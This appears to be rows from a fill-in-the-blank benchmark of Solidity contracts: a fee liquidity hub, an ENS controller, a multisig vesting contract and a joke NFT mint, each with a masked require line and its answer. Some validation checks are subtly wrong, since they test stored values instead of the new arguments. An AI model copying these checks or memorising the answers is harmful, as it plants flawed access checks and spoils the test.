| $$ / $$|_____ $$/ | $$_____/|__/
| $$/ $$/ /$$/ | $$ /$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$
\ $$$$/ /$$/ | $$$$$ | $$| $$__ $$ |____ $$| $$__ $$ /$$_____/ /$$__ $$
>$$ $$ /$$/ | $$__/ | $$| $$ \ $$ /$$$$$$$| $$ \ $$| $$ | $$$$$$$$
/$$/\ $$ /$$/ | $$ | $$| $$ | $$ /$$__ $$| $$ | $$| $$ | $$_____/
| $$ \ $$ /$$/ | $$ | $$| $$ | $$| $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$
|__/ |__/|__/ |__/ |__/|__/ |__/ \_______/|__/ |__/ \_______/ \_______/
Contract: Smart Contract for managing X7R fee tokens
This contract will NOT be renounced.
The following are the only functions that can be called on the contract that affect the contract:
function setShares(uint256 distributeShare_, uint256 liquidityShare_, uint256 treasuryShare_) external onlyOwner {
require(distributeShare + liquidityShare + treasuryShare == 1000);
require(distributeShare_ >= minShare && distributeShare_ <= maxShare);
require(liquidityShare_ >= minShare && liquidityShare_ <= maxShare);
require(treasuryShare_ >= minShare && treasuryShare_ <= maxShare);
distributeShare = distributeShare_;
liquidityShare = liquidityShare_;
treasuryShare = treasuryShare_;
emit SharesSet(distributeShare_, liquidityShare_, treasuryShare_);
}
function setRouter(address router_) external onlyOwner {
require(router_ != address(router));
router = IUniswapV2Router(router_);
emit RouterSet(router_);
}
function setOffRampPair(address offRampPairAddress) external onlyOwner {
require(offRampPair != offRampPairAddress);
offRampPair = offRampPairAddress;
emit OffRampPairSet(offRampPairAddress);
}
function setBalanceThreshold(uint256 threshold) external onlyOwner {
require(!balanceThresholdFrozen);
balanceThreshold = threshold;
emit BalanceThresholdSet(threshold);
}
function setLiquidityRatioTarget(uint256 liquidityRatioTarget_) external onlyOwner {
require(liquidityRatioTarget_ != liquidityRatioTarget);
require(liquidityRatioTarget_ >= minLiquidityRatioTarget && liquidityRatioTarget <= maxLiquidityRatioTarget);
liquidityRatioTarget = liquidityRatioTarget_;
emit LiquidityRatioTargetSet(liquidityRatioTarget_);
}
function setLiquidityTokenReceiver(address liquidityTokenReceiver_) external onlyOwner {
require(
liquidityTokenReceiver_ != address(0)
&& liquidityTokenReceiver_ != address(0x000000000000000000000000000000000000dEaD)
&& liquidityTokenReceiver != liquidityTokenReceiver_
);
address oldLiquidityTokenReceiver = liquidityTokenReceiver;
liquidityTokenReceiver = liquidityTokenReceiver_;
emit LiquidityTokenReceiverSet(oldLiquidityTokenReceiver, liquidityTokenReceiver_);
}
function setDistributionTarget(address target) external onlyOwner {
require(
target != address(0)
&& target != address(0x000000000000000000000000000000000000dEaD)
&& distributeTarget != payable(target)
);
require(!distributeTargetFrozen);
address oldTarget = address(distributeTarget);
distributeTarget = payable(target);
emit DistributeTargetSet(oldTarget, distributeTarget);
}
function setTreasuryTarget(address target) external onlyOwner {
require(
target != address(0)
&& target != address(0x000000000000000000000000000000000000dEaD)
&& treasuryTarget != payable(target)
);
require(!treasuryTargetFrozen);
address oldTarget = address(treasuryTarget);
treasuryTarget = payable(target);
emit TreasuryTargetSet(oldTarget, target);
}
function freezeTreasuryTarget() external onlyOwner {
require(!treasuryTargetFrozen);
treasuryTargetFrozen = true;
emit TreasuryTargetFrozen();
}
function freezeDistributeTarget() external onlyOwner {
require(!distributeTargetFrozen);
distributeTargetFrozen = true;
emit DistributeTargetFrozen();
}
function freezeBalanceThreshold() external onlyOwner {
require(!balanceThresholdFrozen);
balanceThresholdFrozen = true;
emit BalanceThresholdFrozen();
}
These functions will be passed to DAO governance once the ecosystem stabilizes.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address owner_) {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
function circulatingSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IUniswapV2Router {
function WETH() external returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface ILiquidityHub {
function processFees(address) external;
}
interface IX7EcosystemSplitter {
function takeBalance() external;
}
interface IWETH {
function withdraw(uint) external;
}
contract X7RLiquidityHub is Ownable, ILiquidityHub {
IUniswapV2Router public router;
address public offRampPair;
IERC20 public x7r;
address public liquidityTokenReceiver;
uint256 public minLiquidityRatioTarget = 5;
uint256 public maxLiquidityRatioTarget = 99;
uint256 public liquidityRatioTarget = 15;
uint256 public minShare = 200;
uint256 public maxShare = 500;
uint256 public distributeShare = 300;
uint256 public liquidityShare = 400;
uint256 public treasuryShare = 300;
uint256 public balanceThreshold = 1 ether;
uint256 public distributeBalance;
uint256 public treasuryBalance;
uint256 public liquidityBalance;
uint256 public x7rLiquidityBalance;
address payable public distributeTarget;
address payable public treasuryTarget;
bool public distributeTargetFrozen;
bool public treasuryTargetFrozen;
bool public balanceThresholdFrozen;
event SharesSet(uint256 distributeShare, uint256 liquidityShare, uint256 treasuryShare);
event OffRampPairSet(address indexed offRampPair);
event DistributeTargetSet(address indexed oldTarget, address indexed newTarget);
event TreasuryTargetSet(address indexed oldTarget, address indexed newTarget);
event LiquidityRatioTargetSet(uint256 liquidityRatioTarget);
event LiquidityTokenReceiverSet(address indexed oldReciever, address indexed newReceiver);
event BalanceThresholdSet(uint256 threshold);
event RouterSet(address router);
event TreasuryTargetFrozen();
event DistributeTargetFrozen();
event BalanceThresholdFrozen();
constructor(address x7r_, address router_) Ownable(address(0x7000a09c425ABf5173FF458dF1370C25d1C58105)) {
}
receive() external payable {}
function setShares(uint256 distributeShare_, uint256 liquidityShare_, uint256 treasuryShare_) external onlyOwner {
}
function setRouter(address router_) external onlyOwner {
}
function setOffRampPair(address offRampPairAddress) external onlyOwner {
}
function setBalanceThreshold(uint256 threshold) external onlyOwner {
}
function setLiquidityRatioTarget(uint256 liquidityRatioTarget_) external onlyOwner {
}
function setLiquidityTokenReceiver(address liquidityTokenReceiver_) external onlyOwner {
}
function setDistributionTarget(address target) external onlyOwner {
}
function setTreasuryTarget(address target) external onlyOwner {
require(
target != address(0)
&& target != address(0x000000000000000000000000000000000000dEaD)
&& treasuryTarget != payable(target)
);
require(<FILL_ME>)
address oldTarget = address(treasuryTarget);
treasuryTarget = payable(target);
emit TreasuryTargetSet(oldTarget, target);
}
function freezeTreasuryTarget() external onlyOwner {
}
function freezeDistributeTarget() external onlyOwner {
}
function freezeBalanceThreshold() external onlyOwner {
}
function processFees(address tokenAddress) external {
}
function sendDistributeBalance() public {
}
function sendTreasuryBalance() public {
}
function buyBackAndAddLiquidity() internal {
}
function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) internal {
}
function swapTokensForEth(address tokenAddress, uint256 tokenAmount) internal {
}
function swapEthForTokens(uint256 ethAmount) internal {
}
function rescueWETH() external {
}
}
| !treasuryTargetFrozen | 511,699 | !treasuryTargetFrozen |
"Invalid address" | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "../interfaces/IBaseRegistrarImplement.sol";
contract ENSController {
ENS public ens;
IBaseRegistrarImplement internal registrar;
Resolver internal resolver;
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
*/
constructor(
address ensAddr,
address baseRegistrarAddr,
address resolverAddr
) {
require(address(ensAddr) != address(0), "Invalid address");
require(<FILL_ME>)
require(address(resolverAddr) != address(0), "Invalid address");
ens = ENS(ensAddr);
registrar = IBaseRegistrarImplement(baseRegistrarAddr);
resolver = Resolver(resolverAddr);
}
}
| address(baseRegistrarAddr)!=address(0),"Invalid address" | 511,819 | address(baseRegistrarAddr)!=address(0) |
"Not enough for the balance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "../erc20/IERC20.sol";
import "./MultiSignCoinTx.sol";
import "./MultiSignReceiverChangeTx.sol";
contract VestingNFTEcosystem is MultiSignCoinTx, MultiSignReceiverChangeTx {
IERC20 public token;
address public owner;
address public receiver = 0xc30dbb789722Acf82312bD2983b3Efec9B257644;
address[] public signers = [
0xd5e7F7f96109Ea5d86ea58f8cEE67505d414769b,
0xFB643159fB9d6B4064D0EC3a5048503deC72cAf2,
0xaFdA9e685A401E8B791ceD4F13a3aB4Ed0ff12e3,
0x0377DA3EA8c9b56E4428727FeF417eFf12950e3f,
0x1bE9e3393617B74E3A92487a86EE2d2D4De0BfaA
];
modifier onlyOwner() {
}
constructor()
MultiSignCoinTx(signers, 3)
MultiSignReceiverChangeTx(signers, signers.length)
{
}
function setTokenAddress(address _token) public onlyOwner {
}
function getBalance() public view returns (uint256) {
}
function getTimestamp() public view returns (uint256) {
}
function coinTxExecute(uint256 _txId)
public
override
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotExecuted(_txId)
coinTxUnlocked(_txId)
{
require(
getCoinTxApprovalCount(_txId) >= coinTxRequired,
"The required number of approvals is insufficient"
);
CoinTransaction storage coinTransaction = coinTransactions[_txId];
require(<FILL_ME>)
token.transfer(receiver, coinTransaction.value);
coinTransaction.executed = true;
emit CoinTxExecute(_txId);
}
function rcTxExecute(uint256 _txId)
public
override
onlyRcTxSigner
rcTxExists(_txId)
rcTxNotExecuted(_txId)
{
}
}
| getBalance()>=coinTransaction.value,"Not enough for the balance" | 511,917 | getBalance()>=coinTransaction.value |
"The required number of approvals is insufficient" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "../erc20/IERC20.sol";
import "./MultiSignCoinTx.sol";
import "./MultiSignReceiverChangeTx.sol";
contract VestingNFTEcosystem is MultiSignCoinTx, MultiSignReceiverChangeTx {
IERC20 public token;
address public owner;
address public receiver = 0xc30dbb789722Acf82312bD2983b3Efec9B257644;
address[] public signers = [
0xd5e7F7f96109Ea5d86ea58f8cEE67505d414769b,
0xFB643159fB9d6B4064D0EC3a5048503deC72cAf2,
0xaFdA9e685A401E8B791ceD4F13a3aB4Ed0ff12e3,
0x0377DA3EA8c9b56E4428727FeF417eFf12950e3f,
0x1bE9e3393617B74E3A92487a86EE2d2D4De0BfaA
];
modifier onlyOwner() {
}
constructor()
MultiSignCoinTx(signers, 3)
MultiSignReceiverChangeTx(signers, signers.length)
{
}
function setTokenAddress(address _token) public onlyOwner {
}
function getBalance() public view returns (uint256) {
}
function getTimestamp() public view returns (uint256) {
}
function coinTxExecute(uint256 _txId)
public
override
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotExecuted(_txId)
coinTxUnlocked(_txId)
{
}
function rcTxExecute(uint256 _txId)
public
override
onlyRcTxSigner
rcTxExists(_txId)
rcTxNotExecuted(_txId)
{
require(<FILL_ME>)
RcTransaction storage rcTransaction = rcTransactions[_txId];
receiver = rcTransaction.receiver;
rcTransaction.executed = true;
emit RcTxExecute(_txId);
}
}
| getRcTxApprovalCount(_txId)>=rcTxRequired,"The required number of approvals is insufficient" | 511,917 | getRcTxApprovalCount(_txId)>=rcTxRequired |
"Achmed: must send correct price" | //SPDX-License-Identifier: Copyright Achmed
/***
ABOUT ACHMED
My fans would argue that I don’t need an introduction, but the truth is, after kicking the bucket, you tend to be forgotten and I’ve been dead for quite some time now, so let’s set up the stage:
Who says your career needs to end once you die? Well, usually, it's the suicide bombers, isn't it? Enter yours truly – Achmed, the dead terrorist; the fear-inducing, worldwide-known, former suicide bomber with a killer sense of humor. My failed attempt at being a suicide bomber (Or was it a success? Can't remember) made me rethink priorities a bit, and while waiting for my promised 72 virgins, I had an epiphany: why not try stand-up comedy instead?
My debut was in "Spark of Insanity," and ever since, Jeff Dunham and I have been inseparable. Jeff takes me pretty much anywhere and everywhere we show up it’s pretty lit (no pun intended). My fellow suicide bombers might think life after death is only about fun and claiming your 72 virgins, but I’m having such a blast still sticking around and throwing my highly explosive punchlines everywhere I go. Kind to think of it, I really put the "dead" in dead-funny and make audiences blow up into laughter every time I repeat my killer catchphrase "I Keel You!"
I’d shake your hand, but then I’d be afraid to puzzle my bones back together.
So, Silence, I Keel You and let’s get things done!
---
ACHMED'S MISSION
If I couldn’t blow up the whole world, I’m now focused on melting everybody’s hearts instead. Cheesy, I know. While burning tokens up like fireworks is fun, I am also pretty focused on settling the score and doing some good. Therefore, 1% of my earnings will go to a charity fund. Yes, even suicide bombers can have a change of heart, it is usually after they blow up and don’t get their promised rewards, but the order is not that important.
Together, we can ignite bombs, get virgins and so much more!
Join me or … Silence, I Keell You!
Website: https://www.ikeelyou.vip/
Mint Dapp: https://www.mint.ikeelyou.vip/
Telegram: https://t.me/iKeelYouERC20
X: https://twitter.com/ikeelyouerc20
Instagram: https://www.instagram.com/ikeelyouerc20
YouTube: https://www.youtube.com/@ikeelyouerc20
TikTok: https://www.tiktok.com/@ikeelyouerc20
Pinterest: https://www.pinterest.com/ikeelyouerc20/
Email: ikeelyouerc20@gmail.com
***/
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./ERC721Burnable.sol";
import "./ERC721Pausable.sol";
import "./ERC721URIStorage.sol";
import "./AccessControlEnumerable.sol";
import "./Context.sol";
import "./Strings.sol";
import "./Counters.sol";
interface INFTContract {
function getMaxSupply() external view returns (uint max);
function getMinted() external view returns (uint minted);
function getMintPrice() external view returns (uint mintPrice);
function recoverETH () external;
function setMaxPerWallet(uint amount) external ;
function mintMany(uint256 quantity) external payable;
function setMintingEnabled(bool Allowed) external;
}
/**
* @dev {ERC721} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - token ID and URI autogenerationA
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract Achmed is Context, AccessControlEnumerable, ERC721Enumerable, ERC721URIStorage, INFTContract {
using Counters for Counters.Counter;
Counters.Counter public _tokenIdTracker;
string public _baseTokenURI = "https://ipfs.filebase.io/ipfs/";
string public notRevealedUri = "https://ipfs.filebase.io/ipfs/QmXYVfjUytEjYsYUhzxGVg1QbRtmo5PhDcRnpvo88NEtx4";
uint private _tokenPrice = 69000000000000000; // 0.069 ETH
uint public maxSupply = 72;
uint public maxPerWallet = 5;
address private _admin = 0x2482E506138AAAe3e25EC1C6403C3e380fBE8a27;
bool public canMint = false;
bool public revealed = false;
address public marketingWallet = 0x2482E506138AAAe3e25EC1C6403C3e380fBE8a27;
mapping (uint256 => address ) public creator;
constructor() ERC721("Achmed - The Dead Terrorist", "Achmed") {
}
receive () external payable {
}
function reveal() public {
}
function setMarketingWallet(address _marketingWallet) public {
}
function SetMintPrice(uint256 _mintPrice) external {
}
function getMinted() external view override returns (uint minted){
}
function getMaxSupply() external view override returns (uint max){
}
function getMintPrice() external view override returns (uint mintPrice){
}
function setAdditionalAdmin(address newAdmin) external {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) external {
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) external {
}
function setMintingEnabled(bool Allowed) external override {
}
function setMaxPerWallet(uint amount) external override {
}
function mint() external payable {
require(canMint, "Achmed: minting currently disabled");
require(<FILL_ME>)
require(balanceOf(msg.sender)+1 <= maxPerWallet, "Achmed: max allowed limit reached.");
require((_tokenIdTracker.current()) <= maxSupply, "Achmed: all NFTs have been minted");
_mint(msg.sender, _tokenIdTracker.current());
creator[_tokenIdTracker.current()] = msg.sender;
_setTokenURI(_tokenIdTracker.current(), string(abi.encodePacked(Strings.toString(_tokenIdTracker.current()), ".json")));
_tokenIdTracker.increment();
splitBalance(1);
}
function mintMany(uint256 quantity) external payable override {
}
function mintMultiples(address[] calldata recipients)public {
}
function NftCreator(uint256 tokenId) public view returns(address){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) {
}
function recoverETH () external override {
}
function splitBalance(uint256 amount) private {
}
}
| msg.value>=(_tokenPrice),"Achmed: must send correct price" | 511,970 | msg.value>=(_tokenPrice) |
"Achmed: max allowed limit reached." | //SPDX-License-Identifier: Copyright Achmed
/***
ABOUT ACHMED
My fans would argue that I don’t need an introduction, but the truth is, after kicking the bucket, you tend to be forgotten and I’ve been dead for quite some time now, so let’s set up the stage:
Who says your career needs to end once you die? Well, usually, it's the suicide bombers, isn't it? Enter yours truly – Achmed, the dead terrorist; the fear-inducing, worldwide-known, former suicide bomber with a killer sense of humor. My failed attempt at being a suicide bomber (Or was it a success? Can't remember) made me rethink priorities a bit, and while waiting for my promised 72 virgins, I had an epiphany: why not try stand-up comedy instead?
My debut was in "Spark of Insanity," and ever since, Jeff Dunham and I have been inseparable. Jeff takes me pretty much anywhere and everywhere we show up it’s pretty lit (no pun intended). My fellow suicide bombers might think life after death is only about fun and claiming your 72 virgins, but I’m having such a blast still sticking around and throwing my highly explosive punchlines everywhere I go. Kind to think of it, I really put the "dead" in dead-funny and make audiences blow up into laughter every time I repeat my killer catchphrase "I Keel You!"
I’d shake your hand, but then I’d be afraid to puzzle my bones back together.
So, Silence, I Keel You and let’s get things done!
---
ACHMED'S MISSION
If I couldn’t blow up the whole world, I’m now focused on melting everybody’s hearts instead. Cheesy, I know. While burning tokens up like fireworks is fun, I am also pretty focused on settling the score and doing some good. Therefore, 1% of my earnings will go to a charity fund. Yes, even suicide bombers can have a change of heart, it is usually after they blow up and don’t get their promised rewards, but the order is not that important.
Together, we can ignite bombs, get virgins and so much more!
Join me or … Silence, I Keell You!
Website: https://www.ikeelyou.vip/
Mint Dapp: https://www.mint.ikeelyou.vip/
Telegram: https://t.me/iKeelYouERC20
X: https://twitter.com/ikeelyouerc20
Instagram: https://www.instagram.com/ikeelyouerc20
YouTube: https://www.youtube.com/@ikeelyouerc20
TikTok: https://www.tiktok.com/@ikeelyouerc20
Pinterest: https://www.pinterest.com/ikeelyouerc20/
Email: ikeelyouerc20@gmail.com
***/
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./ERC721Burnable.sol";
import "./ERC721Pausable.sol";
import "./ERC721URIStorage.sol";
import "./AccessControlEnumerable.sol";
import "./Context.sol";
import "./Strings.sol";
import "./Counters.sol";
interface INFTContract {
function getMaxSupply() external view returns (uint max);
function getMinted() external view returns (uint minted);
function getMintPrice() external view returns (uint mintPrice);
function recoverETH () external;
function setMaxPerWallet(uint amount) external ;
function mintMany(uint256 quantity) external payable;
function setMintingEnabled(bool Allowed) external;
}
/**
* @dev {ERC721} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - token ID and URI autogenerationA
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract Achmed is Context, AccessControlEnumerable, ERC721Enumerable, ERC721URIStorage, INFTContract {
using Counters for Counters.Counter;
Counters.Counter public _tokenIdTracker;
string public _baseTokenURI = "https://ipfs.filebase.io/ipfs/";
string public notRevealedUri = "https://ipfs.filebase.io/ipfs/QmXYVfjUytEjYsYUhzxGVg1QbRtmo5PhDcRnpvo88NEtx4";
uint private _tokenPrice = 69000000000000000; // 0.069 ETH
uint public maxSupply = 72;
uint public maxPerWallet = 5;
address private _admin = 0x2482E506138AAAe3e25EC1C6403C3e380fBE8a27;
bool public canMint = false;
bool public revealed = false;
address public marketingWallet = 0x2482E506138AAAe3e25EC1C6403C3e380fBE8a27;
mapping (uint256 => address ) public creator;
constructor() ERC721("Achmed - The Dead Terrorist", "Achmed") {
}
receive () external payable {
}
function reveal() public {
}
function setMarketingWallet(address _marketingWallet) public {
}
function SetMintPrice(uint256 _mintPrice) external {
}
function getMinted() external view override returns (uint minted){
}
function getMaxSupply() external view override returns (uint max){
}
function getMintPrice() external view override returns (uint mintPrice){
}
function setAdditionalAdmin(address newAdmin) external {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) external {
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) external {
}
function setMintingEnabled(bool Allowed) external override {
}
function setMaxPerWallet(uint amount) external override {
}
function mint() external payable {
require(canMint, "Achmed: minting currently disabled");
require(msg.value >= (_tokenPrice), "Achmed: must send correct price");
require(<FILL_ME>)
require((_tokenIdTracker.current()) <= maxSupply, "Achmed: all NFTs have been minted");
_mint(msg.sender, _tokenIdTracker.current());
creator[_tokenIdTracker.current()] = msg.sender;
_setTokenURI(_tokenIdTracker.current(), string(abi.encodePacked(Strings.toString(_tokenIdTracker.current()), ".json")));
_tokenIdTracker.increment();
splitBalance(1);
}
function mintMany(uint256 quantity) external payable override {
}
function mintMultiples(address[] calldata recipients)public {
}
function NftCreator(uint256 tokenId) public view returns(address){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) {
}
function recoverETH () external override {
}
function splitBalance(uint256 amount) private {
}
}
| balanceOf(msg.sender)+1<=maxPerWallet,"Achmed: max allowed limit reached." | 511,970 | balanceOf(msg.sender)+1<=maxPerWallet |
"Achmed: all NFTs have been minted" | //SPDX-License-Identifier: Copyright Achmed
/***
ABOUT ACHMED
My fans would argue that I don’t need an introduction, but the truth is, after kicking the bucket, you tend to be forgotten and I’ve been dead for quite some time now, so let’s set up the stage:
Who says your career needs to end once you die? Well, usually, it's the suicide bombers, isn't it? Enter yours truly – Achmed, the dead terrorist; the fear-inducing, worldwide-known, former suicide bomber with a killer sense of humor. My failed attempt at being a suicide bomber (Or was it a success? Can't remember) made me rethink priorities a bit, and while waiting for my promised 72 virgins, I had an epiphany: why not try stand-up comedy instead?
My debut was in "Spark of Insanity," and ever since, Jeff Dunham and I have been inseparable. Jeff takes me pretty much anywhere and everywhere we show up it’s pretty lit (no pun intended). My fellow suicide bombers might think life after death is only about fun and claiming your 72 virgins, but I’m having such a blast still sticking around and throwing my highly explosive punchlines everywhere I go. Kind to think of it, I really put the "dead" in dead-funny and make audiences blow up into laughter every time I repeat my killer catchphrase "I Keel You!"
I’d shake your hand, but then I’d be afraid to puzzle my bones back together.
So, Silence, I Keel You and let’s get things done!
---
ACHMED'S MISSION
If I couldn’t blow up the whole world, I’m now focused on melting everybody’s hearts instead. Cheesy, I know. While burning tokens up like fireworks is fun, I am also pretty focused on settling the score and doing some good. Therefore, 1% of my earnings will go to a charity fund. Yes, even suicide bombers can have a change of heart, it is usually after they blow up and don’t get their promised rewards, but the order is not that important.
Together, we can ignite bombs, get virgins and so much more!
Join me or … Silence, I Keell You!
Website: https://www.ikeelyou.vip/
Mint Dapp: https://www.mint.ikeelyou.vip/
Telegram: https://t.me/iKeelYouERC20
X: https://twitter.com/ikeelyouerc20
Instagram: https://www.instagram.com/ikeelyouerc20
YouTube: https://www.youtube.com/@ikeelyouerc20
TikTok: https://www.tiktok.com/@ikeelyouerc20
Pinterest: https://www.pinterest.com/ikeelyouerc20/
Email: ikeelyouerc20@gmail.com
***/
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./ERC721Burnable.sol";
import "./ERC721Pausable.sol";
import "./ERC721URIStorage.sol";
import "./AccessControlEnumerable.sol";
import "./Context.sol";
import "./Strings.sol";
import "./Counters.sol";
interface INFTContract {
function getMaxSupply() external view returns (uint max);
function getMinted() external view returns (uint minted);
function getMintPrice() external view returns (uint mintPrice);
function recoverETH () external;
function setMaxPerWallet(uint amount) external ;
function mintMany(uint256 quantity) external payable;
function setMintingEnabled(bool Allowed) external;
}
/**
* @dev {ERC721} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - token ID and URI autogenerationA
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract Achmed is Context, AccessControlEnumerable, ERC721Enumerable, ERC721URIStorage, INFTContract {
using Counters for Counters.Counter;
Counters.Counter public _tokenIdTracker;
string public _baseTokenURI = "https://ipfs.filebase.io/ipfs/";
string public notRevealedUri = "https://ipfs.filebase.io/ipfs/QmXYVfjUytEjYsYUhzxGVg1QbRtmo5PhDcRnpvo88NEtx4";
uint private _tokenPrice = 69000000000000000; // 0.069 ETH
uint public maxSupply = 72;
uint public maxPerWallet = 5;
address private _admin = 0x2482E506138AAAe3e25EC1C6403C3e380fBE8a27;
bool public canMint = false;
bool public revealed = false;
address public marketingWallet = 0x2482E506138AAAe3e25EC1C6403C3e380fBE8a27;
mapping (uint256 => address ) public creator;
constructor() ERC721("Achmed - The Dead Terrorist", "Achmed") {
}
receive () external payable {
}
function reveal() public {
}
function setMarketingWallet(address _marketingWallet) public {
}
function SetMintPrice(uint256 _mintPrice) external {
}
function getMinted() external view override returns (uint minted){
}
function getMaxSupply() external view override returns (uint max){
}
function getMintPrice() external view override returns (uint mintPrice){
}
function setAdditionalAdmin(address newAdmin) external {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) external {
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) external {
}
function setMintingEnabled(bool Allowed) external override {
}
function setMaxPerWallet(uint amount) external override {
}
function mint() external payable {
require(canMint, "Achmed: minting currently disabled");
require(msg.value >= (_tokenPrice), "Achmed: must send correct price");
require(balanceOf(msg.sender)+1 <= maxPerWallet, "Achmed: max allowed limit reached.");
require(<FILL_ME>)
_mint(msg.sender, _tokenIdTracker.current());
creator[_tokenIdTracker.current()] = msg.sender;
_setTokenURI(_tokenIdTracker.current(), string(abi.encodePacked(Strings.toString(_tokenIdTracker.current()), ".json")));
_tokenIdTracker.increment();
splitBalance(1);
}
function mintMany(uint256 quantity) external payable override {
}
function mintMultiples(address[] calldata recipients)public {
}
function NftCreator(uint256 tokenId) public view returns(address){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) {
}
function recoverETH () external override {
}
function splitBalance(uint256 amount) private {
}
}
| (_tokenIdTracker.current())<=maxSupply,"Achmed: all NFTs have been minted" | 511,970 | (_tokenIdTracker.current())<=maxSupply |
"Achmed: must send correct price" | //SPDX-License-Identifier: Copyright Achmed
/***
ABOUT ACHMED
My fans would argue that I don’t need an introduction, but the truth is, after kicking the bucket, you tend to be forgotten and I’ve been dead for quite some time now, so let’s set up the stage:
Who says your career needs to end once you die? Well, usually, it's the suicide bombers, isn't it? Enter yours truly – Achmed, the dead terrorist; the fear-inducing, worldwide-known, former suicide bomber with a killer sense of humor. My failed attempt at being a suicide bomber (Or was it a success? Can't remember) made me rethink priorities a bit, and while waiting for my promised 72 virgins, I had an epiphany: why not try stand-up comedy instead?
My debut was in "Spark of Insanity," and ever since, Jeff Dunham and I have been inseparable. Jeff takes me pretty much anywhere and everywhere we show up it’s pretty lit (no pun intended). My fellow suicide bombers might think life after death is only about fun and claiming your 72 virgins, but I’m having such a blast still sticking around and throwing my highly explosive punchlines everywhere I go. Kind to think of it, I really put the "dead" in dead-funny and make audiences blow up into laughter every time I repeat my killer catchphrase "I Keel You!"
I’d shake your hand, but then I’d be afraid to puzzle my bones back together.
So, Silence, I Keel You and let’s get things done!
---
ACHMED'S MISSION
If I couldn’t blow up the whole world, I’m now focused on melting everybody’s hearts instead. Cheesy, I know. While burning tokens up like fireworks is fun, I am also pretty focused on settling the score and doing some good. Therefore, 1% of my earnings will go to a charity fund. Yes, even suicide bombers can have a change of heart, it is usually after they blow up and don’t get their promised rewards, but the order is not that important.
Together, we can ignite bombs, get virgins and so much more!
Join me or … Silence, I Keell You!
Website: https://www.ikeelyou.vip/
Mint Dapp: https://www.mint.ikeelyou.vip/
Telegram: https://t.me/iKeelYouERC20
X: https://twitter.com/ikeelyouerc20
Instagram: https://www.instagram.com/ikeelyouerc20
YouTube: https://www.youtube.com/@ikeelyouerc20
TikTok: https://www.tiktok.com/@ikeelyouerc20
